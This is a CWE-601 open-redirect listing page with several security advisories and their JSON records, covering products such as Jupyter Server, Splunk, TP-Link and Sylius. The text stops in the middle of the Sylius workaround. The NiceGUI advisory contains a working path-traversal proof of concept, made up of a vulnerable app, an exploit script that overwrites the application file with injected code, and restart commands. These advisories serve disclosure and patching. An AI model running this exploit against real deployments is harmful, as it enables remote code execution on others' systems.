CWE-601
AllowedURL Redirection to Untrusted Site ('Open Redirect')
Abstraction: Base · Status: Draft
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
2305 vulnerabilities reference this CWE, most recent first.
GHSA-9C3V-684M-579C
Vulnerability from github – Published: 2026-07-01 22:09 – Updated: 2026-07-01 22:09Summary
MCP SSE redirects could forward Authorization headers. In affected versions, a lower-trust caller or configured input path could execute or persist actions beyond the caller's intended authorization.
This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.
Impact
When the affected feature is enabled and reachable, this could execute or persist actions beyond the caller's intended authorization. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.
Patched Versions
The first stable patched version is 2026.6.5.
Mitigations
Upgrade to a patched OpenClaw release when one is listed. Before upgrading, restrict the affected feature to trusted operators or disable it when it is not needed. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.6.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T22:09:28Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nMCP SSE redirects could forward Authorization headers. In affected versions, a lower-trust caller or configured input path could execute or persist actions beyond the caller\u0027s intended authorization.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw\u0027s trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could execute or persist actions beyond the caller\u0027s intended authorization. Practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.6.5`.\n\n### Mitigations\n\nUpgrade to a patched OpenClaw release when one is listed. Before upgrading, restrict the affected feature to trusted operators or disable it when it is not needed. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.",
"id": "GHSA-9c3v-684m-579c",
"modified": "2026-07-01T22:09:28Z",
"published": "2026-07-01T22:09:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-9c3v-684m-579c"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenClaw MCP SSE redirects could forward Authorization headers"
}
GHSA-9CRG-5W6X-58M3
Vulnerability from github – Published: 2023-12-07 12:30 – Updated: 2026-04-28 21:33URL Redirection to Untrusted Site ('Open Redirect') vulnerability in PluginOps Landing Page Builder – Lead Page – Optin Page – Squeeze Page – WordPress Landing Pages.This issue affects Landing Page Builder – Lead Page – Optin Page – Squeeze Page – WordPress Landing Pages: from n/a through 1.5.1.5.
{
"affected": [],
"aliases": [
"CVE-2023-48325"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-07T12:15:08Z",
"severity": "MODERATE"
},
"details": "URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability in PluginOps Landing Page Builder \u2013 Lead Page \u2013 Optin Page \u2013 Squeeze Page \u2013 WordPress Landing Pages.This issue affects Landing Page Builder \u2013 Lead Page \u2013 Optin Page \u2013 Squeeze Page \u2013 WordPress Landing Pages: from n/a through 1.5.1.5.",
"id": "GHSA-9crg-5w6x-58m3",
"modified": "2026-04-28T21:33:18Z",
"published": "2023-12-07T12:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48325"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/page-builder-add/wordpress-landing-page-builder-plugin-1-5-1-5-open-redirection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9F26-H7X7-2MC5
Vulnerability from github – Published: 2025-11-13 18:31 – Updated: 2025-11-13 18:31A vulnerability in the web-based management interface of Cisco Catalyst Center Virtual Appliance could allow an unauthenticated, remote attacker to redirect a user to a malicious web page.
This vulnerability is due to improper input validation of HTTP request parameters. An attacker could exploit this vulnerability by intercepting and modifying an HTTP request from a user. A successful exploit could allow the attacker to redirect the user to a malicious web page.
{
"affected": [],
"aliases": [
"CVE-2025-20355"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-13T17:15:46Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web-based management interface of Cisco Catalyst Center Virtual Appliance could allow an unauthenticated, remote attacker to redirect a user to a malicious web page.\n\nThis vulnerability is due to improper input validation of HTTP request parameters. An attacker could exploit this vulnerability by intercepting and modifying an HTTP request from a user. A successful exploit could allow the attacker to redirect the user to a malicious web page.",
"id": "GHSA-9f26-h7x7-2mc5",
"modified": "2025-11-13T18:31:05Z",
"published": "2025-11-13T18:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20355"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-catc-open-redirect-3W5Bk3Je"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9F26-X9XC-53J5
Vulnerability from github – Published: 2023-04-05 09:30 – Updated: 2023-04-11 15:30Dell Streaming Data Platform prior to 1.4 contains Open Redirect vulnerability. An attacker with privileges same as a legitimate user can phish the legitimate the user to redirect to malicious website leading to information disclosure and launch of phishing attacks.
{
"affected": [],
"aliases": [
"CVE-2023-28069"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-05T08:15:00Z",
"severity": "MODERATE"
},
"details": "Dell Streaming Data Platform prior to 1.4 contains Open Redirect vulnerability. An attacker with privileges same as a legitimate user can phish the legitimate the user to redirect to malicious website leading to information disclosure and launch of phishing attacks.",
"id": "GHSA-9f26-x9xc-53j5",
"modified": "2023-04-11T15:30:29Z",
"published": "2023-04-05T09:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28069"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000204266/dsa-2022-258-dell-streaming-data-platform-security-update-for-multiple-third-party-component-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9F66-54XG-PC2C
Vulnerability from github – Published: 2020-12-21 18:01 – Updated: 2026-05-19 20:24Impact
What kind of vulnerability is it? Who is impacted?
Open redirect vulnerability - a maliciously crafted link to a jupyter server could redirect the browser to a different website.
All jupyter servers running without a base_url prefix are technically affected, however, these maliciously crafted links can only be reasonably made for known jupyter server hosts. A link to your jupyter server may appear safe, but ultimately redirect to a spoofed server on the public internet. This same vulnerability was patched in upstream notebook v5.7.8.
Patches
Has the problem been patched? What versions should users upgrade to?
Patched in jupyter_server 1.1.1. If upgrade is not available, a workaround can be to run your server on a url prefix:
jupyter server --ServerApp.base_url=/jupyter/
References
For more information
If you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list security@ipython.org.
Credit: Yaniv Nizry from CxSCA group at Checkmarx
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "jupyter-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-26275"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2020-12-21T18:00:51Z",
"nvd_published_at": "2020-12-21T18:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nOpen redirect vulnerability - a maliciously crafted link to a jupyter server could redirect the browser to a different website.\n\nAll jupyter servers running without a base_url prefix are technically affected, however, these maliciously crafted links can only be reasonably made for known jupyter server hosts. A link to your jupyter server may *appear* safe, but ultimately redirect to a spoofed server on the public internet. This same vulnerability was patched in upstream notebook v5.7.8.\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nPatched in jupyter_server 1.1.1. If upgrade is not available, a workaround can be to run your server on a url prefix:\n\n```\njupyter server --ServerApp.base_url=/jupyter/\n```\n\n### References\n\n[OWASP page on open redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list [security@ipython.org](mailto:security@ipython.org).\n\nCredit: Yaniv Nizry from CxSCA group at Checkmarx",
"id": "GHSA-9f66-54xg-pc2c",
"modified": "2026-05-19T20:24:16Z",
"published": "2020-12-21T18:01:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyter-server/jupyter_server/security/advisories/GHSA-9f66-54xg-pc2c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26275"
},
{
"type": "WEB",
"url": "https://github.com/jupyter-server/jupyter_server/commit/85e4abccf6ea9321d29153f73b0bd72ccb3a6bca"
},
{
"type": "WEB",
"url": "https://advisory.checkmarx.net/advisory/CX-2020-4291"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyter-server/jupyter_server"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server/PYSEC-2020-346.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server/PYSEC-2020-50.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/jupyter-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Jupyter Server open redirect vulnerability"
}
GHSA-9F6W-RGF8-6MQH
Vulnerability from github – Published: 2025-09-29 21:30 – Updated: 2025-09-29 21:30There is an unvalidated redirect vulnerability in Esri Portal for ArcGIS 11.4 and below that may allow a remote, unauthenticated attacker to craft a URL that could redirect a victim to an arbitrary website, simplifying phishing attacks.
{
"affected": [],
"aliases": [
"CVE-2025-57872"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-29T19:15:36Z",
"severity": "MODERATE"
},
"details": "There is an unvalidated redirect vulnerability in Esri Portal for ArcGIS 11.4 and below that may allow a remote, unauthenticated attacker to craft a URL that could redirect a victim to an arbitrary website, simplifying phishing attacks.",
"id": "GHSA-9f6w-rgf8-6mqh",
"modified": "2025-09-29T21:30:26Z",
"published": "2025-09-29T21:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57872"
},
{
"type": "WEB",
"url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/portal-for-arcgis-security-2025-update-3-patch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9F8G-G258-V49C
Vulnerability from github – Published: 2025-12-03 18:30 – Updated: 2025-12-03 18:30In Splunk Enterprise versions below 10.0.2, 9.4.6, 9.3.8, and 9.2.10, and Splunk Cloud Platform versions below 10.1.2507.10, 10.0.2503.8, and 9.3.2411.120, a low-privileged user that does not hold the "admin" or "power" Splunk roles could create a views dashboard with a custom background using the data:image/png;base64 protocol that could potentially lead to an unvalidated redirect. This behavior circumvents the Splunk external URL warning mechanism by using a specially crafted URL, allowing for a redirection to an external malicious site. The vulnerability requires the attacker to phish the victim by tricking them into initiating a request within their browser. The authenticated user should not be able to exploit the vulnerability at will.
{
"affected": [],
"aliases": [
"CVE-2025-20382"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-03T17:15:50Z",
"severity": "LOW"
},
"details": "In Splunk Enterprise versions below 10.0.2, 9.4.6, 9.3.8, and 9.2.10, and Splunk Cloud Platform versions below 10.1.2507.10, 10.0.2503.8, and 9.3.2411.120, a low-privileged user that does not hold the \"admin\" or \"power\" Splunk roles could create a views dashboard with a custom background using the `data:image/png;base64` protocol that could potentially lead to an unvalidated redirect. This behavior circumvents the Splunk external URL warning mechanism by using a specially crafted URL, allowing for a redirection to an external malicious site. The vulnerability requires the attacker to phish the victim by tricking them into initiating a request within their browser. The authenticated user should not be able to exploit the vulnerability at will.",
"id": "GHSA-9f8g-g258-v49c",
"modified": "2025-12-03T18:30:25Z",
"published": "2025-12-03T18:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20382"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2025-1201"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9F8X-RQFG-WVVG
Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31An unauthenticated URL redirection vulnerability has been identified in Archer AX20 V2 due to improper validation of user-supplied URL input within the web interface. An unauthenticated attacker can craft URLs containing URL-encoded path traversal sequences.
When processed by the embedded web server, these inputs may cause the device to respond with HTTP 3xx redirects to attacker-controlled external domains.
This issue affects Archer AX20 V2.0: through 2.1.9 Build 20230829.
{
"affected": [],
"aliases": [
"CVE-2026-10562"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T21:16:30Z",
"severity": "MODERATE"
},
"details": "An\nunauthenticated URL redirection vulnerability has been identified in Archer\nAX20 V2 due to improper validation of user-supplied URL input within the web\ninterface.\u00a0 An unauthenticated attacker\ncan craft URLs containing URL-encoded path traversal sequences.\n\n\n\n\n\nWhen\nprocessed by the embedded web server, these inputs may cause the device to\nrespond with HTTP 3xx redirects to attacker-controlled external domains.\n\n\n\nThis issue affects Archer AX20 V2.0: through 2.1.9 Build 20230829.",
"id": "GHSA-9f8x-rqfg-wvvg",
"modified": "2026-06-30T21:31:45Z",
"published": "2026-06-30T21:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10562"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/en/support/download/archer-ax20/v2/#Firmware"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/en/support/faq/5156"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9FFM-FXG3-XRHH
Vulnerability from github – Published: 2026-02-05 21:08 – Updated: 2026-06-06 14:45Summary
NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.
Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.
Details
Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)
Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()
async def save(self, path: str | Path) -> None:
target = Path(path)
target.parent.mkdir(parents=True, exist_ok=True)
await run.io_bound(target.write_bytes, self._data)
Root Cause: The save() method performs no validation on the provided path parameter. It accepts:
- Relative paths with ../ sequences
- Absolute paths
- Any file system location writable by the process
When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:
save_path = UPLOAD_DIR / e.file.name # e.file.name = "../app.py"
await e.file.save(save_path) # Writes outside UPLOAD_DIR
PoC
- Terminal 1 (App)
cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui
cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path
UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)
@ui.page('/')
def index():
async def handle_upload(e):
save_path = UPLOAD_DIR / e.file.name
await e.file.save(save_path)
ui.notify(f'File saved: {e.file.name}')
ui.upload(on_upload=handle_upload, auto_upload=True)
ui.run(port=8080, reload=False)
EOF
python3 vulnerable_app.py &
- Terminal 2 (Exploit)
cat > exploit.py << 'EOF'
import requests, re, time
s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)
html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'
payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''
s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF
python3 exploit.py
- Restart the application to execute the injected code:
pkill -f vulnerable_app && python3 vulnerable_app.py
- Observe http://localhost:8080
Impact
Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.
Attack Capabilities: - Write files to any location writable by the application process - Overwrite Python application files to achieve remote code execution upon restart - Overwrite configuration files to alter application behavior - Write SSH keys, systemd units, or cron jobs for persistent access - Deny service by corrupting critical files
Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.
Remediation
For Users
async def handle_upload(e):
safe_name = Path(e.file.name).name # Strip directory components!
await e.file.save(UPLOAD_DIR / safe_name)
For Maintainers
```py async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None: target = Path(path).resolve()
if base_dir is not None:
base_dir = base_dir.resolve()
if not target.is_relative_to(base_dir):
raise ValueError(
f"Path '{target}' escapes base directory '{base_dir}'"
)
target.parent.mkdir(parents=True, exist_ok=True)
await run.io_bound(target.write_bytes, self._data)
````
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.1"
},
"package": {
"ecosystem": "PyPI",
"name": "nicegui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25732"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-05T21:08:53Z",
"nvd_published_at": "2026-02-06T22:16:11Z",
"severity": "HIGH"
},
"details": "### Summary\nNiceGUI\u0027s `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.\n\n**Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.\n\n### Details\n**Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115))\n\n**Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()`\n\n```py\nasync def save(self, path: str | Path) -\u003e None:\n target = Path(path)\n target.parent.mkdir(parents=True, exist_ok=True)\n await run.io_bound(target.write_bytes, self._data)\n```\n\n**Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts:\n- Relative paths with `../` sequences\n- Absolute paths\n- Any file system location writable by the process\n\nWhen developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs:\n```py\nsave_path = UPLOAD_DIR / e.file.name # e.file.name = \"../app.py\"\nawait e.file.save(save_path) # Writes outside UPLOAD_DIR\n```\n\n### PoC\n- Terminal 1 (App)\n```bash\ncd /tmp \u0026\u0026 mkdir -p evilgui \u0026\u0026 cd evilgui\npython3 -m venv evilgui \u0026\u0026 source evilgui/bin/activate\npip install nicegui\n\ncat \u003e vulnerable_app.py \u003c\u003c \u0027EOF\u0027\nfrom nicegui import ui\nfrom pathlib import Path\n\nUPLOAD_DIR = Path(\u0027./uploads\u0027)\nUPLOAD_DIR.mkdir(exist_ok=True)\n\n@ui.page(\u0027/\u0027)\ndef index():\n async def handle_upload(e):\n save_path = UPLOAD_DIR / e.file.name\n await e.file.save(save_path)\n ui.notify(f\u0027File saved: {e.file.name}\u0027)\n \n ui.upload(on_upload=handle_upload, auto_upload=True)\n\nui.run(port=8080, reload=False)\nEOF\n\npython3 vulnerable_app.py \u0026\n```\n\n- Terminal 2 (Exploit)\n```bash\ncat \u003e exploit.py \u003c\u003c \u0027EOF\u0027\nimport requests, re, time\n\ns = requests.Session()\ns.get(\u0027http://localhost:8080\u0027)\ntime.sleep(2)\n\nhtml = s.get(\u0027http://localhost:8080\u0027).text\nmatch = re.search(r\u0027/_nicegui/client/([^/]+)/upload/(\\d+)\u0027, html)\nupload_url = f\u0027http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}\u0027\n\npayload = \u0027\u0027\u0027from nicegui import ui\nimport subprocess\n@ui.page(\"/\")\ndef index():\n ui.label(subprocess.check_output([\"id\"], text=True))\nui.run(port=8080, reload=False)\n\u0027\u0027\u0027\n\ns.post(upload_url, files={\u0027file\u0027: (\u0027../vulnerable_app.py\u0027, payload, \u0027text/x-python\u0027)})\nEOF\n\npython3 exploit.py\n```\n- Restart the application to execute the injected code:\n```\npkill -f vulnerable_app \u0026\u0026 python3 vulnerable_app.py\n```\n- Observe http://localhost:8080\n\n### Impact\n**Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path.\n\n**Attack Capabilities**:\n- Write files to any location writable by the application process\n- Overwrite Python application files to achieve remote code execution upon restart\n- Overwrite configuration files to alter application behavior\n- Write SSH keys, systemd units, or cron jobs for persistent access\n- Deny service by corrupting critical files\n\n**Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples.\n\n### Remediation\n#### For Users\n```py\nasync def handle_upload(e):\n safe_name = Path(e.file.name).name # Strip directory components!\n await e.file.save(UPLOAD_DIR / safe_name)\n```\n\n#### For Maintainers\n```py\nasync def save(self, path: str | Path, *, base_dir: Path | None = None) -\u003e None:\n target = Path(path).resolve()\n \n if base_dir is not None:\n base_dir = base_dir.resolve()\n if not target.is_relative_to(base_dir):\n raise ValueError(\n f\"Path \u0027{target}\u0027 escapes base directory \u0027{base_dir}\u0027\"\n )\n \n target.parent.mkdir(parents=True, exist_ok=True)\n await run.io_bound(target.write_bytes, self._data)\n````",
"id": "GHSA-9ffm-fxg3-xrhh",
"modified": "2026-06-06T14:45:40Z",
"published": "2026-02-05T21:08:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-9ffm-fxg3-xrhh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25732"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nicegui/PYSEC-2026-95.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/zauberzeug/nicegui"
},
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115"
},
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "NiceGUI\u0027s Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write"
}
GHSA-9FFX-F77R-756W
Vulnerability from github – Published: 2026-03-11 00:12 – Updated: 2026-03-11 20:32Impact
CurrencySwitchController::switchAction(), ImpersonateUserController::impersonateAction() and StorageBasedLocaleSwitcher::handle() use the HTTP Referer header directly when redirecting.
The attack requires the victim to click a legitimate application link placed on an attacker-controlled page. The browser automatically sends the attacker's site as the Referer, and the application redirects back to it. This can be used for phishing or credential theft, as the redirect originates from a trusted domain.
The severity varies by endpoint; public endpoints require no authentication and are trivially exploitable, while admin-only endpoints require an authenticated session but remain vulnerable if an admin follows a link from an external source such as email or chat.
Affected classes:
- CurrencySwitchController::switchAction() - public
- StorageBasedLocaleSwitcher::handle() - public, used in locale switching without having locale in the url
- ImpersonateUserController::impersonateAction() - admin-only
Patches
The issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.23, 1.13.15, 1.14.18, 2.0.16, 2.1.12, 2.2.3 and above.
Workarounds
If you cannot update Sylius immediately, copy the affected classes from vendor to your project's src/ directory, apply the fix, and override the service definitions.
Step 1 - CurrencySwitchController
Copy from vendor/sylius/sylius/src/Sylius/Bundle/ShopBundle/Controller/CurrencySwitchController.php to src/Controller/CurrencySwitchController.php and apply the following changes:
-namespace Sylius\Bundle\ShopBundle\Controller;
+namespace App\Controller;
use Sylius\Component\Channel\Context\ChannelContextInterface;
use Sylius\Component\Core\Currency\CurrencyStorageInterface;
use Sylius\Component\Core\Model\ChannelInterface;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
+use Symfony\Component\Routing\RouterInterface;
final class CurrencySwitchController
{
public function __construct(
private Environment $templatingEngine, // for 1.x version
private CurrencyStorageInterface $currencyStorage,
private ChannelContextInterface $channelContext,
+ private RouterInterface $router,
) {
}
public function switchAction(Request $request, string $code): Response
{
/** @var ChannelInterface $channel */
$channel = $this->channelContext->getChannel();
$this->currencyStorage->set($channel, $code);
- return new RedirectResponse($request->headers->get('referer', $request->getSchemeAndHttpHost()));
+ return new RedirectResponse($this->router->generate('sylius_shop_homepage'));
}
}
Step 2 - ImpersonateUserController
Copy from vendor/sylius/sylius/src/Sylius/Bundle/AdminBundle/Controller/ImpersonateUserController.php to src/Controller/Admin/ImpersonateUserController.php and apply the following changes:
-namespace Sylius\Bundle\AdminBundle\Controller;
+namespace App\Controller\Admin;
// ... (keep all existing use statements)
public function impersonateAction(Request $request, string $username): Response
{
// ... (keep authorization check and impersonation logic)
$this->addFlash($request, $username);
- $redirectUrl = $request->headers->get(
- 'referer',
+ return new RedirectResponse(
$this->router->generate('sylius_admin_customer_show', ['id' => $user->getId()])
);
-
- return new RedirectResponse($redirectUrl);
}
Step 3 - StorageBasedLocaleSwitcher (only if you use locale_switcher: storage)
Note: Skip this step if you use the default
locale_switcher: urlmode.
Copy from vendor/sylius/sylius/src/Sylius/Bundle/ShopBundle/Locale/StorageBasedLocaleSwitcher.php to src/Locale/StorageBasedLocaleSwitcher.php and apply the following changes:
For Sylius 1.9 – 2.1.2:
-namespace Sylius\Bundle\ShopBundle\Locale;
+namespace App\Locale;
use Sylius\Bundle\ShopBundle\Locale\LocaleSwitcherInterface;
use Sylius\Component\Channel\Context\ChannelContextInterface;
use Sylius\Component\Core\Locale\LocaleStorageInterface;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpFoundation\Request;
+use Symfony\Component\Routing\RouterInterface;
final class StorageBasedLocaleSwitcher implements LocaleSwitcherInterface
{
public function __construct(
private LocaleStorageInterface $localeStorage,
private ChannelContextInterface $channelContext,
+ private RouterInterface $router,
) {
}
public function handle(Request $request, string $localeCode): RedirectResponse
{
$this->localeStorage->set($this->channelContext->getChannel(), $localeCode);
- return new RedirectResponse($request->headers->get('referer', $request->getSchemeAndHttpHost()));
+ return new RedirectResponse($this->router->generate('sylius_shop_homepage'));
}
}
For Sylius 2.1.3 and later:
In Sylius 2.1.3 the class was refactored to use
